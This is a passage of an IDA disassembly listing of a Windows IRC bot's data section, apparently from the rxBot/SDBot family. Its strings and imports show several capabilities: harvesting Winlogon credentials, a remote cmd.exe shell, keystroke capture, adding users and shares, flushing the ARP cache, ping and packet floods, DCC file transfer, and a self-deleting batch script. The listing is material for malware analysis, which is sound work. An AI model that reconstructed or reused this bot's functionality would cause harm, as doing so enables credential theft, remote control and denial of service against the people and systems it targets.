6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do ; ___:0042FA44o align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o ; ___:0042FE54o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo ; ___:0042F8DCo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 